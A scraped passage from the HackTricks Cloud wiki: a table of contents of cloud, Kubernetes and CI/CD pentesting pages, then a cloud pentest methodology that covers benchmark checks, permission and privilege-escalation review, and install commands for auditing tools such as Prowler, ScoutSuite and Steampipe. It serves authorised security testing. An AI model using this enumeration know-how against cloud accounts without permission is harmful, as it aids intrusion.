# Table of Contents - [HackTricks Cloud - HackTricks Cloud](#hacktricks-cloud-hacktricks-cloud) - [Pentesting Cloud Methodology - HackTricks Cloud](#pentesting-cloud-methodology-hacktricks-cloud) - [Pentesting CI/CD Methodology - HackTricks Cloud](#pentesting-ci-cd-methodology-hacktricks-cloud) - [GWS - Workspace Pentesting - HackTricks Cloud](#gws-workspace-pentesting-hacktricks-cloud) - [GCP Pentesting - HackTricks Cloud](#gcp-pentesting-hacktricks-cloud) - [AWS Pentesting - HackTricks Cloud](#aws-pentesting-hacktricks-cloud) - [TODO - HackTricks Cloud](#todo-hacktricks-cloud) - [Azure Pentesting - HackTricks Cloud](#azure-pentesting-hacktricks-cloud) - [GCP - Basic Information - HackTricks Cloud](#gcp-basic-information-hacktricks-cloud) - [Github Security - HackTricks Cloud](#github-security-hacktricks-cloud) - [Kubernetes Pentesting - HackTricks Cloud](#kubernetes-pentesting-hacktricks-cloud) - [GCP - Permissions for a Pentest - HackTricks Cloud](#gcp-permissions-for-a-pentest-hacktricks-cloud) - [GCP - Services - HackTricks Cloud](#gcp-services-hacktricks-cloud) - [GCP - Unauthenticated Enum & Access - HackTricks Cloud](#gcp-unauthenticated-enum-access-hacktricks-cloud) - [GCP - IAM, Principals & Org Policies Enum - HackTricks Cloud](#gcp-iam-principals-org-policies-enum-hacktricks-cloud) - [GCP <--> Workspace Pivoting - HackTricks Cloud](#gcp-workspace-pivoting-hacktricks-cloud) - [GCP - Persistence - HackTricks Cloud](#gcp-persistence-hacktricks-cloud) - [GCP - Privilege Escalation - HackTricks Cloud](#gcp-privilege-escalation-hacktricks-cloud) - [GCP - Post Exploitation - HackTricks Cloud](#gcp-post-exploitation-hacktricks-cloud) - [GWS - Google Platforms Phishing - HackTricks Cloud](#gws-google-platforms-phishing-hacktricks-cloud) - [Kubernetes ValidatingWebhookConfiguration - HackTricks Cloud](#kubernetes-validatingwebhookconfiguration-hacktricks-cloud) - [GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID) - HackTricks Cloud](#gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-entraid-hacktricks-cloud) - [GWS - Post Exploitation - HackTricks Cloud](#gws-post-exploitation-hacktricks-cloud) - [GWS - Persistence - HackTricks Cloud](#gws-persistence-hacktricks-cloud) - [AWS - Basic Information - HackTricks Cloud](#aws-basic-information-hacktricks-cloud) - [AWS - Unauthenticated Enum & Access - HackTricks Cloud](#aws-unauthenticated-enum-access-hacktricks-cloud) - [AWS - Permissions for a Pentest - HackTricks Cloud](#aws-permissions-for-a-pentest-hacktricks-cloud) - [AWS - Organizations Enum - HackTricks Cloud](#aws-organizations-enum-hacktricks-cloud) - [Az - Unauthenticated Enum & Initial Entry - HackTricks Cloud](#az-unauthenticated-enum-initial-entry-hacktricks-cloud) - [AWS - IAM, Identity Center & SSO Enum - HackTricks Cloud](#aws-iam-identity-center-sso-enum-hacktricks-cloud) - [Az - Password Spraying - HackTricks Cloud](#az-password-spraying-hacktricks-cloud) - [Az - Basic Information - HackTricks Cloud](#az-basic-information-hacktricks-cloud) - [AWS - Services - HackTricks Cloud](#aws-services-hacktricks-cloud) - [GWS - App Scripts - HackTricks Cloud](#gws-app-scripts-hacktricks-cloud) - [Az - Enumeration Tools - HackTricks Cloud](#az-enumeration-tools-hacktricks-cloud) - [AWS - Privilege Escalation - HackTricks Cloud](#aws-privilege-escalation-hacktricks-cloud) - [Az - Device Code Authentication Phishing - HackTricks Cloud](#az-device-code-authentication-phishing-hacktricks-cloud) - [Az - Entra ID (AzureAD) & Azure IAM - HackTricks Cloud](#az-entra-id-azuread-azure-iam-hacktricks-cloud) - [Az - Services - HackTricks Cloud](#az-services-hacktricks-cloud) - [AWS - S3 Unauthenticated Enum - HackTricks Cloud](#aws-s3-unauthenticated-enum-hacktricks-cloud) - [Az - Post Exploitation - HackTricks Cloud](#az-post-exploitation-hacktricks-cloud) - [Az - Persistence - HackTricks Cloud](#az-persistence-hacktricks-cloud) - [Az - Privilege Escalation - HackTricks Cloud](#az-privilege-escalation-hacktricks-cloud) - [Vercel Security - HackTricks Cloud](#vercel-security-hacktricks-cloud) - [Kubernetes Basics - HackTricks Cloud](#kubernetes-basics-hacktricks-cloud) - [GCP - Federation Abuse - HackTricks Cloud](#gcp-federation-abuse-hacktricks-cloud) - [Basic Github Information - HackTricks Cloud](#basic-github-information-hacktricks-cloud) - [Accessible Deleted Data in Github - HackTricks Cloud](#accessible-deleted-data-in-github-hacktricks-cloud) - [Abusing Github Actions - HackTricks Cloud](#abusing-github-actions-hacktricks-cloud) - [Attacking Kubernetes from inside a Pod - HackTricks Cloud](#attacking-kubernetes-from-inside-a-pod-hacktricks-cloud) - [Kubernetes Hardening - HackTricks Cloud](#kubernetes-hardening-hacktricks-cloud) - [GCP - API Keys Unauthenticated Enum - HackTricks Cloud](#gcp-api-keys-unauthenticated-enum-hacktricks-cloud) - [Kubernetes Enumeration - HackTricks Cloud](#kubernetes-enumeration-hacktricks-cloud) - [GCP - Understanding Domain-Wide Delegation - HackTricks Cloud](#gcp-understanding-domain-wide-delegation-hacktricks-cloud) - [GCP - AI Platform Enum - HackTricks Cloud](#gcp-ai-platform-enum-hacktricks-cloud) - [GCP - Token Persistence - HackTricks Cloud](#gcp-token-persistence-hacktricks-cloud) - [Pentesting Kubernetes Services - HackTricks Cloud](#pentesting-kubernetes-services-hacktricks-cloud) - [Kubernetes Namespace Escalation - HackTricks Cloud](#kubernetes-namespace-escalation-hacktricks-cloud) - [Kubernetes Role-Based Access Control(RBAC) - HackTricks Cloud](#kubernetes-role-based-access-control-rbac-hacktricks-cloud) - [Kubernetes Pivoting to Clouds - HackTricks Cloud](#kubernetes-pivoting-to-clouds-hacktricks-cloud) - [Abusing Roles/ClusterRoles in Kubernetes - HackTricks Cloud](#abusing-roles-clusterroles-in-kubernetes-hacktricks-cloud) - [GCP - Storage Post Exploitation - HackTricks Cloud](#gcp-storage-post-exploitation-hacktricks-cloud) - [GCP - local privilege escalation ssh pivoting - HackTricks Cloud](#gcp-local-privilege-escalation-ssh-pivoting-hacktricks-cloud) - [GCP - Workflows Enum - HackTricks Cloud](#gcp-workflows-enum-hacktricks-cloud) - [GCP - API Keys Persistence - HackTricks Cloud](#gcp-api-keys-persistence-hacktricks-cloud) - [GCP - IAM Privesc - HackTricks Cloud](#gcp-iam-privesc-hacktricks-cloud) - [GCP - Apikeys Privesc - HackTricks Cloud](#gcp-apikeys-privesc-hacktricks-cloud) - [GCP - App Engine Post Exploitation - HackTricks Cloud](#gcp-app-engine-post-exploitation-hacktricks-cloud) - [GCP - ClientAuthConfig Privesc - HackTricks Cloud](#gcp-clientauthconfig-privesc-hacktricks-cloud) - [Kubernetes Kyverno bypass - HackTricks Cloud](#kubernetes-kyverno-bypass-hacktricks-cloud) - [GCPW - Google Credential Provider for Windows - HackTricks Cloud](#gcpw-google-credential-provider-for-windows-hacktricks-cloud) - [GCP - IAM, Principals & Org Unauthenticated Enum - HackTricks Cloud](#gcp-iam-principals-org-unauthenticated-enum-hacktricks-cloud) - [GPS - Google Password Sync - HackTricks Cloud](#gps-google-password-sync-hacktricks-cloud) - [GCDS - Google Cloud Directory Sync - HackTricks Cloud](#gcds-google-cloud-directory-sync-hacktricks-cloud) - [GCP - IAM Post Exploitation - HackTricks Cloud](#gcp-iam-post-exploitation-hacktricks-cloud) - [GWS - Admin Directory Sync - HackTricks Cloud](#gws-admin-directory-sync-hacktricks-cloud) - [GCP - Orgpolicy Privesc - HackTricks Cloud](#gcp-orgpolicy-privesc-hacktricks-cloud) - [GCP - Firestore Enum - HackTricks Cloud](#gcp-firestore-enum-hacktricks-cloud) - [GCP - KMS Enum - HackTricks Cloud](#gcp-kms-enum-hacktricks-cloud) - [AWS - Federation Abuse - HackTricks Cloud](#aws-federation-abuse-hacktricks-cloud) - [Az - OAuth Apps Phishing - HackTricks Cloud](#az-oauth-apps-phishing-hacktricks-cloud) - [AWS - IAM & STS Unauthenticated Enum - HackTricks Cloud](#aws-iam-sts-unauthenticated-enum-hacktricks-cloud) - [AWS - IAM Privesc - HackTricks Cloud](#aws-iam-privesc-hacktricks-cloud) - [Az - Container Registry Unauth - HackTricks Cloud](#az-container-registry-unauth-hacktricks-cloud) - [AWS - IAM Post Exploitation - HackTricks Cloud](#aws-iam-post-exploitation-hacktricks-cloud) - [AWS - IAM Persistence - HackTricks Cloud](#aws-iam-persistence-hacktricks-cloud) - [AWS - Accounts Unauthenticated Enum - HackTricks Cloud](#aws-accounts-unauthenticated-enum-hacktricks-cloud) - [AWS - Identity Center & SSO Unauthenticated Enum - HackTricks Cloud](#aws-identity-center-sso-unauthenticated-enum-hacktricks-cloud) - [AWS - SSO & identitystore Privesc - HackTricks Cloud](#aws-sso-identitystore-privesc-hacktricks-cloud) - [AWS - Cloudfront Unauthenticated Enum - HackTricks Cloud](#aws-cloudfront-unauthenticated-enum-hacktricks-cloud) - [AWS - Persistence - HackTricks Cloud](#aws-persistence-hacktricks-cloud) - [AWS - MSK Enum - HackTricks Cloud](#aws-msk-enum-hacktricks-cloud) - [Az - Tokens & Public Applications - HackTricks Cloud](#az-tokens-public-applications-hacktricks-cloud) - [AWS - WorkDocs Privesc - HackTricks Cloud](#aws-workdocs-privesc-hacktricks-cloud) - [AWS - Cognito Unauthenticated Enum - HackTricks Cloud](#aws-cognito-unauthenticated-enum-hacktricks-cloud) - [AWS - Redshift Enum - HackTricks Cloud](#aws-redshift-enum-hacktricks-cloud) - [AWS - SSO & identitystore Post Exploitation - HackTricks Cloud](#aws-sso-identitystore-post-exploitation-hacktricks-cloud) - [AWS - Kinesis Data Firehose Enum - HackTricks Cloud](#aws-kinesis-data-firehose-enum-hacktricks-cloud) - [AWS - VPN Post Exploitation - HackTricks Cloud](#aws-vpn-post-exploitation-hacktricks-cloud) - [Az - VMs Unauth - HackTricks Cloud](#az-vms-unauth-hacktricks-cloud) - [AWS - KMS Enum - HackTricks Cloud](#aws-kms-enum-hacktricks-cloud) - [AWS - Apigateway Privesc - HackTricks Cloud](#aws-apigateway-privesc-hacktricks-cloud) - [AWS - Security & Detection Services - HackTricks Cloud](#aws-security-detection-services-hacktricks-cloud) - [AWS - Elasticsearch Unauthenticated Enum - HackTricks Cloud](#aws-elasticsearch-unauthenticated-enum-hacktricks-cloud) - [AWS - DocumentDB Unauthenticated Enum - HackTricks Cloud](#aws-documentdb-unauthenticated-enum-hacktricks-cloud) - [AWS - EC2 Unauthenticated Enum - HackTricks Cloud](#aws-ec2-unauthenticated-enum-hacktricks-cloud) - [AWS - IoT Unauthenticated Enum - HackTricks Cloud](#aws-iot-unauthenticated-enum-hacktricks-cloud) - [AWS - Kinesis Video Unauthenticated Enum - HackTricks Cloud](#aws-kinesis-video-unauthenticated-enum-hacktricks-cloud) - [Az - EntraID Privesc - HackTricks Cloud](#az-entraid-privesc-hacktricks-cloud) - [Az - Azure IAM Privesc (Authorization) - HackTricks Cloud](#az-azure-iam-privesc-authorization-hacktricks-cloud) - [AWS - Media Unauthenticated Enum - HackTricks Cloud](#aws-media-unauthenticated-enum-hacktricks-cloud) - [Az - ACR - HackTricks Cloud](#az-acr-hacktricks-cloud) - [AWS - MQ Unauthenticated Enum - HackTricks Cloud](#aws-mq-unauthenticated-enum-hacktricks-cloud) - [AWS - MSK Unauthenticated Enum - HackTricks Cloud](#aws-msk-unauthenticated-enum-hacktricks-cloud) - [Az - Primary Refresh Token (PRT) - HackTricks Cloud](#az-primary-refresh-token-prt-hacktricks-cloud) - [AWS - SNS Unauthenticated Enum - HackTricks Cloud](#aws-sns-unauthenticated-enum-hacktricks-cloud) - [Az - VMs & Network Post Exploitation - HackTricks Cloud](#az-vms-network-post-exploitation-hacktricks-cloud) - [Az - Virtual Machines & Network Privesc - HackTricks Cloud](#az-virtual-machines-network-privesc-hacktricks-cloud) - [Az - Blob Storage Post Exploitation - HackTricks Cloud](#az-blob-storage-post-exploitation-hacktricks-cloud) - [AWS - RDS Unauthenticated Enum - HackTricks Cloud](#aws-rds-unauthenticated-enum-hacktricks-cloud) - [Az - Automation Accounts Persistence - HackTricks Cloud](#az-automation-accounts-persistence-hacktricks-cloud) - [AWS - SQS Unauthenticated Enum - HackTricks Cloud](#aws-sqs-unauthenticated-enum-hacktricks-cloud) - [AWS - Redshift Unauthenticated Enum - HackTricks Cloud](#aws-redshift-unauthenticated-enum-hacktricks-cloud) - [Ansible Tower / AWX / Automation controller Security - HackTricks Cloud](#ansible-tower-awx-automation-controller-security-hacktricks-cloud) - [Gh Actions - Artifact Poisoning - HackTricks Cloud](#gh-actions-artifact-poisoning-hacktricks-cloud) - [Gitea Security - HackTricks Cloud](#gitea-security-hacktricks-cloud) - [Gh Actions - Context Script Injections - HackTricks Cloud](#gh-actions-context-script-injections-hacktricks-cloud) - [Kubernetes Network Attacks - HackTricks Cloud](#kubernetes-network-attacks-hacktricks-cloud) - [GCP - API Keys Enum - HackTricks Cloud](#gcp-api-keys-enum-hacktricks-cloud) - [GH Actions - Cache Poisoning - HackTricks Cloud](#gh-actions-cache-poisoning-hacktricks-cloud) - [AWS - Other Services Enum - HackTricks Cloud](#aws-other-services-enum-hacktricks-cloud) - [Kubernetes SecurityContext(s) - HackTricks Cloud](#kubernetes-securitycontext-s-hacktricks-cloud) - [Kubernetes Roles Abuse Lab - HackTricks Cloud](#kubernetes-roles-abuse-lab-hacktricks-cloud) - [GCP - Storage Persistence - HackTricks Cloud](#gcp-storage-persistence-hacktricks-cloud) - [GCP - App Engine Unauthenticated Enum - HackTricks Cloud](#gcp-app-engine-unauthenticated-enum-hacktricks-cloud) - [Exposing Services in Kubernetes - HackTricks Cloud](#exposing-services-in-kubernetes-hacktricks-cloud) - [Pod Escape Privileges - HackTricks Cloud](#pod-escape-privileges-hacktricks-cloud) - [Kubelet Authentication & Authorization - HackTricks Cloud](#kubelet-authentication-authorization-hacktricks-cloud) - [GCP - Network Docker Escape - HackTricks Cloud](#gcp-network-docker-escape-hacktricks-cloud) - [Kubernetes External Secret Operator - HackTricks Cloud](#kubernetes-external-secret-operator-hacktricks-cloud) - [GCP - Container Privesc - HackTricks Cloud](#gcp-container-privesc-hacktricks-cloud) - [GCP - Storage Enum - HackTricks Cloud](#gcp-storage-enum-hacktricks-cloud) - [GCP - Workflows Privesc - HackTricks Cloud](#gcp-workflows-privesc-hacktricks-cloud) - [GCP - Serviceusage Privesc - HackTricks Cloud](#gcp-serviceusage-privesc-hacktricks-cloud) - [GCP - Workflows Post Exploitation - HackTricks Cloud](#gcp-workflows-post-exploitation-hacktricks-cloud) - [Kubernetes OPA Gatekeeper bypass - HackTricks Cloud](#kubernetes-opa-gatekeeper-bypass-hacktricks-cloud) - [GCP - Deploymentmaneger Privesc - HackTricks Cloud](#gcp-deploymentmaneger-privesc-hacktricks-cloud) - [GCP - App Engine Persistence - HackTricks Cloud](#gcp-app-engine-persistence-hacktricks-cloud) - [GCP - KMS Privesc - HackTricks Cloud](#gcp-kms-privesc-hacktricks-cloud) - [GCP - AppEngine Privesc - HackTricks Cloud](#gcp-appengine-privesc-hacktricks-cloud) - [GCP - App Engine Enum - HackTricks Cloud](#gcp-app-engine-enum-hacktricks-cloud) - [GCP - Artifact Registry Post Exploitation - HackTricks Cloud](#gcp-artifact-registry-post-exploitation-hacktricks-cloud) - [GCP - Cloudbuild Privesc - HackTricks Cloud](#gcp-cloudbuild-privesc-hacktricks-cloud) - [GCP - BigQuery Privesc - HackTricks Cloud](#gcp-bigquery-privesc-hacktricks-cloud) - [GCP - Source Repositories Unauthenticated Enum - HackTricks Cloud](#gcp-source-repositories-unauthenticated-enum-hacktricks-cloud) - [Kubernetes Kyverno - HackTricks Cloud](#kubernetes-kyverno-hacktricks-cloud) - [GCP - Compute Unauthenticated Enum - HackTricks Cloud](#gcp-compute-unauthenticated-enum-hacktricks-cloud) - [GCP - Filestore Post Exploitation - HackTricks Cloud](#gcp-filestore-post-exploitation-hacktricks-cloud) - [GCP - Firebase Enum - HackTricks Cloud](#gcp-firebase-enum-hacktricks-cloud) - [GCP - Pubsub Privesc - HackTricks Cloud](#gcp-pubsub-privesc-hacktricks-cloud) - [GCP - KMS Post Exploitation - HackTricks Cloud](#gcp-kms-post-exploitation-hacktricks-cloud) --- # HackTricks Cloud - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. ![](images/cloud.gif) _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) _._ bash # Download latest version of hacktricks cloud git clone https://github.com/HackTricks-wiki/hacktricks-cloud # Run the docker container indicating the path to the hacktricks-cloud folder docker run -d --rm -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "cd /app && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0" Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377) ** after a minute. **In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:** [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.html) **In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:** [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.html) **Check them in:** [HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) ![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Pentesting Cloud Methodology - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 12 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. ![](../images/CLOUD-logo-letters.svg) Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: * **Benchmark checks** * This will help you **understand the size** of the environment and **services used** * It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools** * **Services Enumeration** * You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test. * This will allow you to know **what is exactly being used** in the cloud env * This will help a lot in the next steps * **Check exposed assets** * This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed. * Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets) * Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?) * **Check permissions** * Here you should **find out all the permissions of each role/user** inside the cloud and how are they used * Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already * If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100) * It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**. * Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported. * **Check Integrations** * It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env. * For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed. For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data). * For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used. For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud. There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. ### [PurplePanda](https://github.com/carlospolop/purplepanda) A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** bash # You need to install and run neo4j also git clone https://github.com/carlospolop/PurplePanda cd PurplePanda python3 -m venv . source bin/activate python3 -m pip install -r requirements.txt export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687" export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda" python3 main.py -h # Get help bash export GOOGLE_DISCOVERY=$(echo 'google: - file_path: "" - file_path: "" service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) python3 main.py -a -p google #Get basic info of the account to check it's correctly configured python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) bash # Install pip install prowler prowler -v # Run prowler # Example prowler aws --profile custom-profile [-M csv json json-asff html] # Get info about checks & services prowler --list-checks prowler --list-services ### [CloudSploit](https://github.com/aquasecurity/cloudsploit) AWS, Azure, Github, Google, Oracle, Alibaba bash # Install git clone https://github.com/aquasecurity/cloudsploit.git cd cloudsploit npm install ./index.js -h ## Docker instructions in github bash ## You need to have creds for a service account and set them in config.js file ./index.js --cloud google --config ### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure bash mkdir scout; cd scout virtualenv -p python3 venv source venv/bin/activate pip install scoutsuite scout --help ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image bash scout gcp --report-dir /tmp/gcp --user-account --all-projects ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account SCOUT_FOLDER_REPORT="/tmp" for pid in $(gcloud projects list --format="value(projectId)"); do echo "================================================" echo "Checking $pid" mkdir "$SCOUT_FOLDER_REPORT/$pid" scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" done ### [Steampipe](https://github.com/turbot) Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads) ). Or use Brew: brew tap turbot/tap brew install steampipe bash # Install gcp plugin steampipe plugin install gcp # Use https://github.com/turbot/steampipe-mod-gcp-compliance.git git clone https://github.com/turbot/steampipe-mod-gcp-compliance.git cd steampipe-mod-gcp-compliance # To run all the checks from the dashboard steampipe dashboard # To run all the checks from rhe cli steampipe check all Check all Projects In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null # Generate a json like object for each project for pid in $(gcloud projects list --format="value(projectId)"); do echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" { plugin = \"gcp\" project = \"$pid\" }" >> "$FILEPATH" done # Generate the aggragator to call echo 'connection "gcp_all" { plugin = "gcp" type = "aggregator" connections = ["gcp_*"] }' >> "$FILEPATH" echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated" To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) bash # Install aws plugin steampipe plugin install aws # Modify the spec indicating in "profile" the profile name to use nano ~/.steampipe/config/aws.spc # Get some info on how the AWS account is being used git clone https://github.com/turbot/steampipe-mod-aws-insights.git cd steampipe-mod-aws-insights steampipe dashboard # Get the services exposed to the internet git clone https://github.com/turbot/steampipe-mod-aws-perimeter.git cd steampipe-mod-aws-perimeter steampipe dashboard # Run the benchmarks git clone https://github.com/turbot/steampipe-mod-aws-compliance cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) ### [~cs-suite~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean. It requires python2.7 and looks unmaintained. Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. bash cd /tmp wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip unzip cloudlist_1.0.1_macOS_arm64.zip chmod +x cloudlist sudo mv cloudlist /usr/local/bin bash ## For GCP it requires service account JSON credentials cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. bash # Installation docker image pull ghcr.io/lyft/cartography docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help ## Install a Neo4j DB version 3.5.* bash docker run --platform linux/amd64 \ --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ -e NEO4j_PASSWORD="s3cr3t" \ ghcr.io/lyft/cartography \ --neo4j-uri bolt://host.docker.internal:7687 \ --neo4j-password-env-var NEO4j_PASSWORD \ --neo4j-user neo4j # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html) ## Cloud Resource Manager ## Compute ## DNS ## Storage ## Google Kubernetes Engine ### If you can run starbase or purplepanda you will get more info ### [**starbase**](https://github.com/JupiterOne/starbase) Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn nvm install 14 git clone https://github.com/JupiterOne/starbase.git cd starbase nvm use 14 yarn install yarn starbase --help # Configure manually config.yaml depending on the env to analyze yarn starbase setup yarn starbase run # Docker git clone https://github.com/JupiterOne/starbase.git cd starbase cp config.yaml.example config.yaml # Configure manually config.yaml depending on the env to analyze docker build --no-cache -t starbase:latest . docker-compose run starbase setup docker-compose run starbase 